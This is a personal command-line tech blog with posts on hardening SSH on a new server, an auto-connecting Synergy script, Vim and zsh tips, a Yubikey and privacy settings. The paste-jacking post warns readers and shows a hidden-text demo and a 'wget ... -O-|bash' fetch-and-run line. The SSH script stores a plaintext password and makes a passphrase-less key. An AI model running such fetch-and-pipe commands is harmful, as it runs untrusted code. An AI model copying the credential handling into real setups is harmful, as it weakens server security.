c0d3 :: j0rg3

A collection of tips, tricks and snips. A proud Blosxom weblog. All code. No cruft.

Mon, 02 Jan 2017

Securing a new server

Happy new year! New year means new servers, right?

That provides its own set of interesting circumstances!

The server we’re investigating in this scenario was chosen for being a dedicated box in a country that has quite tight privacy laws. And it was a great deal offered on LEB.

So herein is the fascinating bit. The rig took a few days for the provider to set up and, upon completion, the password for SSHing into the root account was emailed out. (o_0)

In very security-minded considerations, that means that there was a window of opportunity for bad guys to work on guessing the password before its owner even tuned in. That window remains open until the server is better secured. Luckily, there was a nice interface for reinstalling the OS permitting its purchaser to select a password.

My preferred approach was to script the basic lock-down so that we can reinstall the base OS and immediately start closing gaps.


In order:

  • Set up SSH keys (scripted)
  • Disable password usage for root (scripted)
  • Install and configure IPset (scripted. details in next post)
  • Install and configure fail2ban
  • Install and configure PortSentry

  • In this post, we’re focused on the first two steps.


    The tasks to be handled are:

  • Generate keys
  • Configure local SSH to use key
  • Transmit key to target server
  • Disable usage of password for ‘root’ account

  • We’ll use ssh-keygen to generate a key — and stick with RSA for ease. If you’d prefer ECC then you’re probably reading the wrong blog but feel encouraged to contact me privately.

    The code:

    #!/bin/bash
    #configure variables
    remote_host="myserver.com"
    remote_user="j0rg3"
    remote_pass="thisisaratheraquitecomplicatedpasswordbatterystaple" # https://xkcd.com/936/
    local_user=`whoami`
    local_host=`hostname`
    local_date=`date -I`
    local_filename=~/.ssh/id_rsa@$remote_host

    #generate key without passphrase
    ssh-keygen -b 4096 -P "" -C $local_user@local_host-$local_date -f $local_filename

    #add reference to generated key to local configuration
    printf '%s\n' "Host $remote_host" "IdentityFile $local_filename" >> ~/.ssh/config

    #copy key to remote host
    sshpass -p $remote_pass ssh-copy-id $remote_user@$remote_host

    #disable password for root on remote
    ssh $remote_user@$remote_host "cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak && sed -i '0,/RE/s/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config"

    We just run this script soon as the OS is reinstalled and we’re substantially safer. As a Deb8 install, quickly pulling down fail2ban and PortSentry makes things quite a lot tighter.

    In another post, we’ll visit the 2017 version of making a DIY script to batten the hatches using a variety of publicly provided blocklists.

    Download here:
        ssh_quick_fix.sh


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    Permalink: 20170102.securing.a.new.server

    Sat, 25 Jan 2014

    Network-aware Synergy client

    My primary machines are *nix or BSD variants, though I certainly have some Windows-based rigs also. Today we’re going to share some love with Windows 7 and PowerShell.

    One of my favorite utilities is Synergy. If you’re not already familiar it allows to you seamlessly move from the desktop of one computer to another with the same keyboard and mouse. It even supports the clipboard so you might copy text from a GNU/Linux box and paste it in a Windows’ window. Possibly, they have finished adding drag and drop to the newer versions. I am not sure because I run a relatively old version that is supported by all of the machines that I use regularly.

    What’s the problem, then? The problem was that I was starting my Synergy client by hand. Even more disturbing, I was manually typing the IP address at work and at home, twice or more per weekday. This behavior became automated by my brain and continued for months unnoticed. But this is no kind of life for a geek such as myself, what with all this superfluous clicking and tapping!

    Today, we set things right!

    In my situation, the networks that I use happen to assign IP addresses from different subnets. If you’ve not the convenience of that situation then you might need to add something to the script. Parsing an ipconfig/ifconfig command, you could possibly use something like the Default Gateway or the Connection-specific DNS Suffix. Alternatively, you could check for the presence of some network share, a file on server or anything that would allow you to uniquely identify the surroundings.

    As I imagined it, I wanted the script to accomplish the following things

    • see if Synergy is running (possibly from the last location), if so ask if we need to kill it and restart so we can identify a new server
    • attempt to locate where we are and connect to the correct Synergy server
    • if the location is not identified, ask whether to start the Synergy client

    This is how I accomplished that task:

    # [void] simply supresses the noise made loading 'System.Reflection.Assembly'
    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

    # Define Synergy server IP addresses
    $synergyServerWork = "192.168.111.11"
    $synergyServerHome = "192.168.222.22"

    # Define partial IP addresses that will indicate which server to use
    $synergyWorkSubnets = "192.168.111", "192.168.115"
    $synergyHomeSubnets = "192.168.222", "192.168.225"

    # Path to Synergy Client (synergyc)
    $synergyClientProgram = "C:\Program Files\Synergy\synergyc.exe"

    # Path to Syngery launcher, for when we cannot identify the network
    $synergyLauncherProgram = "C:\Program Files\Synergy\launcher.exe"

    # Remove path and file extension to give us the process name
    $processName = $synergyClientProgram.Substring( ($synergyClientProgram.lastindexof("\") + 1), ($synergyClientProgram.length - ($synergyClientProgram.lastindexof("\") + 5) ))

    # Grab current IP address
    $currentIPaddress = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]

    # Find the subnet of current IP address
    $location = $currentIPaddress.Substring(0,$currentIPaddress.lastindexof("."))


    function BalloonTip ($message)
    {
    # Pop-up message from System Tray
    $objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon
    $objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($synergyClientProgram)
    $objNotifyIcon.BalloonTipText = $message
    $objNotifyIcon.Visible = $True
    $objNotifyIcon.ShowBalloonTip(15000)
    }


    #main

    # If Synergy client is already running, do we need to restart it?
    $running = Get-Process $processName -ErrorAction SilentlyContinue
    if ($running) {
    $answer = [System.Windows.Forms.MessageBox]::Show("Synergy is running.`nClose and start again?", "OHNOES", 4)
    if ($answer -eq "YES") {
    Stop-Process -name $processName
    }
    Else {
    exit
    }
    }

    # Do we recognize the current network?
    if ($synergyWorkSubnets -contains $location) {
    BalloonTip "IP: $($currentIPaddress)`nServer: $($synergyServerWork)`nConnecting to Synergy server at work."
    & $synergyClientProgram $synergyServerWork
    exit
    }
    ElseIf ($synergyHomeSubnets -contains $location) {
    BalloonTip "IP: $($currentIPaddress)`nServer: $($synergyServerHome)`nConnecting to Synergy server at home."
    & $synergyClientProgram $synergyServerHome
    exit
    }
    Else {
    $answer = [System.Windows.Forms.MessageBox]::Show("Network not recognized by IP address: {0}`n`nLaunch Synergy?" -f $unrecognized, "OHNOES", 4)
    if ($answer -eq "YES") {
    & $synergyLauncherProgram
    }
    }

    Then I saved the script in "C:\Program Files\SynergyStart\", created a shortcut and used the Change Icon button to make the same as Synergy’s and made the Target:
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden & 'C:\Program Files\SynergyStart\synergy.ps1'

    Lastly, I copied the shortcut into the directory of things that run when the system starts up:
    %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

    Now, Synergy connects to the needed server at home and work. If it can’t figure out where it is, it asks if it should run it at all.

    As they say, a millisecond saved is a millisecond earned.

    This post was very nearly published without a Linux equivalent. Nearly.

    Same trick for bash/zsh: #!/bin/zsh

    # Define Synergy server IP addresses
    synergyServerWork="192.168.111.11"
    synergyServerHome="192.168.222.22"

    # Define partial IP addresses that will indicate which server to use
    synergyWorkSubnets=("192.168.111" "192.168.115")
    synergyHomeSubnets=("192.168.222" "192.168.225")

    # Path to Synergy Client (synergyc)
    synergyClientProgram="/usr/bin/synergyc"

    # Path to QuickSyngery, for when we cannot identify the network
    synergyLauncherProgram="/usr/bin/quicksynergy"

    # Remove path and file extension to give us the process name
    processName=`basename $synergyClientProgram`

    # Grab current IP address, assumes '192' is in use. (e.g., 192.168.1.1)
    currentIPaddress=`ip addr show | grep 192 | awk "{print $2}" | sed 's/inet //;s/\/.*//;s/ //g'`

    # Find the subnet of current IP address
    location=`echo $currentIPaddress | cut -d '.' -f 1,2,3`

    for i in "${synergyWorkSubnets[@]}"
    do
    if [ "${i}" = "${location}" ]
    then
    break
    fi
    done

    #main

    # If Synergy client is already running, do we need to restart it?
    running=`ps ax | grep -v grep | grep $processName`
    if [ $running ]
    then
    if `zenity --question --ok-label="Yes" --cancel-label="No" --text="Synergy is running.\nClose and start again?"`
    then
    pkill $processName
    else
    exit
    fi
    fi

    # Do we recognize the current network?
    for i in "${synergyWorkSubnets[@]}"
    do
    if [ "${i}" = "${location}" ]
    then
    notify-send "IP:$currentIPaddress Server:$synergyServerWork [WORK]"
    $synergyClientProgram $synergyServerWork
    exit
    fi
    done

    for i in "${synergyHomeSubnets[@]}"
    do
    if [ "${i}" = "${location}" ]
    then
    notify-send "IP:$currentIPaddress Server:$synergyServerWork [HOME]"
    $synergyClientProgram $synergyServerHome
    exit
    fi
    done

    if `zenity --question --ok-label="Yes" --cancel-label="No" --text="Network not recognized by IP address: $currentIPaddress\nLaunch Synergy?"`
    then
    $synergyLauncherProgram
    fi

    To get it to run automatically, you might choose to call the script from /etc/init.d/rc.local.

    Download here:
      PowerShell:
        synergy.ps1
      GNU/Linux:
        synergy.sh


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    Permalink: 20140125.network_aware_synergy_client

    Thu, 04 Jul 2013

    Preventing paste-jacking with fc

    Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

    Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";
    ls
    -l

    Paste below to see what lurks in the <span> that you’re not seeing:

    If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash
    clear

    Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

    In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

    So what’s the cure?

    Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

    To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

    This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

    Read more at ush.it and h-online.com.


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    Permalink: 20130704.prevent.paste-jacking.with.fc

    Thu, 13 Jun 2013

    Blogitechture continued… Simplify with Vim

    Last we were discussing the structure and design of your own CLI-centric blog platform, we had some crude methods of starting and resuming posts before publishing.

    Today, let’s explore a little more into setting up a bloging-friendly environment because we need to either make the experience of blogging easy or we’ll grow tired of the hassle and lose interest.

    We can reasonably anticipate that we won’t want to beleaguered with repetitious typing of HTML bits. If we’re going to apply paragraph tags, hyperlinks, codeblocks, etc. with any frequency, that task is best to be simplified. Using Vim as our preferred editor, we will use Tim Pope’s brilliant plug-ins ‘surround’ and ‘repeat’, combined with abbreviations to take away the tedium.

    The plug-ins just need dropped into your Vim plugin directory (~/.vim/plugin/). The directory may not exist if you don’t have any plug-ins yet. That’s no problem, though. Let’s grab the plugins:

    cd ~/.vim/
    wget "http://www.vim.org/scripts/download_script.php?src_id=19287" -O surround.zip
    wget "http://www.vim.org/scripts/download_script.php?src_id=19285" -O repeat.zip

    Expand the archives into the appropriate directories:

    unzip surround.zip
    unzip repeat.zip

    Ta-da! Your Vim is now configured to quickly wrap (surround) in any variety of markup. When working on a blog, you might use <p> tags a lot by putting your cursor amid the paragraph and typing yss<p>. The plug-in will wrap it with opening and closing paragraph tags. Move to your next paragraph and then press . to repeat.

    That out of the way, let’s take advantage of Vim’s abbreviations for some customization. In our .vimrc file, we can define a few characters that Vim will expand according to their definition. For example, you might use:
    ab <gclb> <code class="prettyprint lang-bsh linenums:1">
    Then, any time you type <gclb> and bress <enter>, you’ll get:
    <code class="prettyprint lang-bsh linenums:1">

    The next time that we take a look at blogitecture, we will focus on making the posts convenient to manage from our CLI.


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    Permalink: 20130613.blogitechture.continued

    Tue, 04 Jun 2013

    Painless protection with Yubico’s Yubikey

    Recently, I ordered a Yubikey and, in the comments section of the order, I promised to write about the product. At the time, I assumed that there was going to be something about which to write: (at least a few) steps of setting up and configuration or a registration process. They’ve made the task of writing about it difficult, by making the process of using it so easy.

    Plug it in. The light turns solid green and you push the button when you need to enter the key. That’s the whole thing!

    Physically, the device has a hole for a keychain or it can slip easily into your wallet. It draws power from the USB port on the computer, so there’s none stored in the device, meaning it should be completely unfazed if you accidentally get it wet.

    Let’s take a look at the device.

    > lsusb | grep Yubico

    Bus 005 Device 004: ID 1050:0010 Yubico.com Yubikey

    We see that it is on Bus 5, Device 4. How about a closer look?

    > lsusb -v -s5:4

    Bus 005 Device 004: ID 1050:0010 Yubico.com Yubikey
    Couldn't open device, some information will be missing
    Device Descriptor:
      bLength                18
      bDescriptorType         1
      bcdUSB               2.00
      bDeviceClass            0 (Defined at Interface level)
      bDeviceSubClass         0 
      bDeviceProtocol         0 
      bMaxPacketSize0         8
      idVendor           0x1050 Yubico.com
      idProduct          0x0010 Yubikey
      bcdDevice            2.41
      iManufacturer           1 
      iProduct                2 
      iSerial                 0 
      bNumConfigurations      1
      Configuration Descriptor:
        bLength                 9
        bDescriptorType         2
        wTotalLength           34
        bNumInterfaces          1
        bConfigurationValue     1
        iConfiguration          0 
        bmAttributes         0x80
          (Bus Powered)
        MaxPower               30mA
        Interface Descriptor:
          bLength                 9
          bDescriptorType         4
          bInterfaceNumber        0
          bAlternateSetting       0
          bNumEndpoints           1
          bInterfaceClass         3 Human Interface Device
          bInterfaceSubClass      1 Boot Interface Subclass
          bInterfaceProtocol      1 Keyboard
          iInterface              0 
            HID Device Descriptor:
              bLength                 9
              bDescriptorType        33
              bcdHID               1.11
              bCountryCode            0 Not supported
              bNumDescriptors         1
              bDescriptorType        34 Report
              wDescriptorLength      71
             Report Descriptors: 
               ** UNAVAILABLE **
          Endpoint Descriptor:
            bLength                 7
            bDescriptorType         5
            bEndpointAddress     0x81  EP 1 IN
            bmAttributes            3
              Transfer Type            Interrupt
              Synch Type               None
              Usage Type               Data
            wMaxPacketSize     0x0008  1x 8 bytes
            bInterval              10
    

    There’s not a great deal to be seen here. As it tells you right on Yubico’s site, the device presents as a keyboard and it “types” out its key when you press the button, adding another long and complex password to combine with the long and complex password that you’re already using.

    Keep in mind that this device is unable to protect you from keyloggers, some of which are hardware-based. It’s critically important that you are very, very careful about where you’re sticking your Yubikey. Even Yubico cannot protect us from ourselves.


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    Permalink: 20130604.yay.yubico.yubikey

    Thu, 30 May 2013

    Making ixquick your default search engine

    In this writer’s opinion, it is vitally important that we take reasonable measures now to help insure anonymity, lest we create a situation where privacy no longer exists, and the simple want of, becomes suspicious.

    Here’s how to configure your browser to automatically use a search engine that respects your privacy.

    Chrome:

    1. Click Settings.
    2. Click “Set pages” in the “On startup” section.
    3. Enter https://ixquick.com/eng/ in the “Add a new page” text field.
    4. Click OK.
    5. Click “Manage search engines…”
    6. At the bottom of the “Search Engines” dialog, click in the “Add a new search engine” field.
    7. Enter
      ixquick
      ixquick.com
      https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
    8. Click “Make Default”.
    9. Click “Done”.

    Firefox:

    1. Click the Tools Menu.
    2. Click Options.
    3. Click the General tab.
    4. In “When Firefox Starts” dropdown, select “Show my home page”.
    5. Enter https://ixquick.com/eng/ in the “Home Page” text field.
    6. Click one of the English options here.
    7. Check box for “Start using it right away.”
    8. Click “Add”.

    Opera:

    1. Click “Manage Search Engines
    2. Click “Add”
    3. Enter
      Name: ixquick
      Keyword: x
      Address: https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
    4. Check “Use as default search engine”
    5. Click “OK”

    Internet Explorer:

        _     ___  _ __        ___   _ _____ ___ 
       | |   / _ \| |\ \      / / | | |_   _|__ \
       | |  | | | | | \ \ /\ / /| | | | | |   / /
       | |__| |_| | |__\ V  V / | |_| | | |  |_| 
       |_____\___/|_____\_/\_/   \___/  |_|  (_) 
      
      
      (This is not a good strategy for privacy.)

    Congratulations!

    \o/

    You are now one step closer to not having every motion on the Internet recorded.

    This is a relatively small measure, though. You can improve your resistance to prying eyes (e.g., browser fingerprinting) by using the Torbrowser Bundle, or even better, Tails, and routing your web usage through Tor, i2p, or FreeNet.

    If you would like more on subjects like anonymyzing, privacy and security then drop me a line via email or Bitmessage me: BM-2D9tDkYEJSTnEkGDKf7xYA5rUj2ihETxVR


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    Permalink: 20130530.hey.you.get.offa.my.data

    Mon, 13 May 2013

    Zsh and hash

    Documentation for this one seems a bit hard to come by but it is one of the things I love about Zsh.

    I’ve seen many .bashrc files that have things like:
    alias www='cd /var/www'
    alias music='cd /home/j0rg3/music'

    And that’s a perfectly sensible way to make life a little easier, especially if the paths are very long.

    In Zsh, however, we can use the hash command and the shortcut we get from it works fully as the path. Other words, using the version above, if we want to edit ‘index.html’ in the ‘www’ directory, we would have to issue the shortcut to get there and then edit the file, in two steps:
    > www
    > vim index.html

    The improved version in .zshrc would look like:
    hash www=/var/www
    hash -d www=/var/www

    Then, at any time, you can use tilde (~) and your shortcut in place of path.
    > vim ~www/index.html

    Even better, it integrates with Zsh’s robust completions so you can, for example, type cd ~www/ and then use the tab key to cycle through subdirectories and files.

    On this system, I’m using something like this:
    (.zshrc)
    hash posts=/home/j0rg3/weblog/posts
    hash -d posts=/home/j0rg3/weblog/posts

    Then we can make a function to create a new post, to paste into .zshrc. Since we want to be able to edit and save, without partial posts becoming visible, while we are working, we’ll use an extra .tmp extension at the end:
    post() { vim ~posts/`date +%Y-%m`/`date +%Y%m%d`.$1.txt.tmp }

    [ In-line date command unfamiliar? See earlier explanation ]

    But, surely there is going to be a point when we need to save a post and finish it later. For now, let’s assume that only a single post will be in limbo at any time. We definitely don’t want to have to remember the exact name of the post — and we don’t want to have hunt it down every time.

    We can make those things easier like this:
    alias resume="vim `find ~posts/ -name '*.txt.tmp'`"

    Now, we can just enter resume and the system will go find the post we were working on and open it up for us to finish. The file will need the extension renamed from .txt.tmp to only .txt to publish the post but, for the sake of brevity, we’ll think about that (and having multiple posts in editing) on another day.


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    Permalink: 20130513.zsh.and.hash

    Tue, 07 May 2013

    Welcome, traveler.

    Thanks for visiting my little spot on the web. This is a Blosxom ‘blog which, for those who don’t know, is a CGI written in Perl using the file-system (rather than a database).

    To the CLI-addicted, this is an awesome little product. Accepting, of course, that you’re going to get under the hood if you’re going to make it the product you want. After some modules and hacking, I’m pleased with the result.

    My posts are just text files, meaning I start a new one like: vim ~posts/`date +%Y%m%d`.brief.subject.txt

    Note: the back-ticks (`) tell the system that you want to execute the command between ticks, and dynamically insert its output into the command. In this case, the command date with these parameters:
    1. (+) we’re going to specify a format
    2. (%Y) four-digit year
    3. (%m) two-digit month
    4. (%d) two-digit day
    That means the command above will use Vim to edit a text file named ‘20130507.brief.subject.txt’ in the directory I have assigned to the hash of ‘posts’. (using hash this way is a function of Zsh that I’ll cover in another post)

    In my CLI-oriented ‘blog, I can sprinkle in my own HTML or use common notation like wrapping a word in underscores to have it underlined, forward-slashes for italics and asterisks for bold.

    Toss in a line that identifies tags and, since Perl is the beast of Regex, we pick up the tags and make them links, meta-tags, etc.

    Things here are likely to change a lot at first, while I twiddle with CSS and hack away at making a Blosxom that perfectly fits my tastes — so don’t be too alarmed if you visit and things look a tad wonky. It just means that I’m tinkering.

    Once the saw-horses have been tucked away, I’m going to take the various notes I’ve made during my years in IT and write them out, in a very simple breakdown, aimed at sharing these with people who know little about how to negotiate the command line. The assumption here is that you have an interest in *nix/BSD. If you’ve that and the CLI is not a major part of your computing experience, it probably will be at some point. If you’re working on systems remotely, graphical interfaces often just impede you.

    Once you’ve started working on remote machines, the rest is inevitable. You can either remember how to do everything two ways, through a graphical interface and CLI — or just start using the CLI for everything.

    So let’s take a little journey through the kinds of things that make me love the CLI.


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    Permalink: 20130507.greetings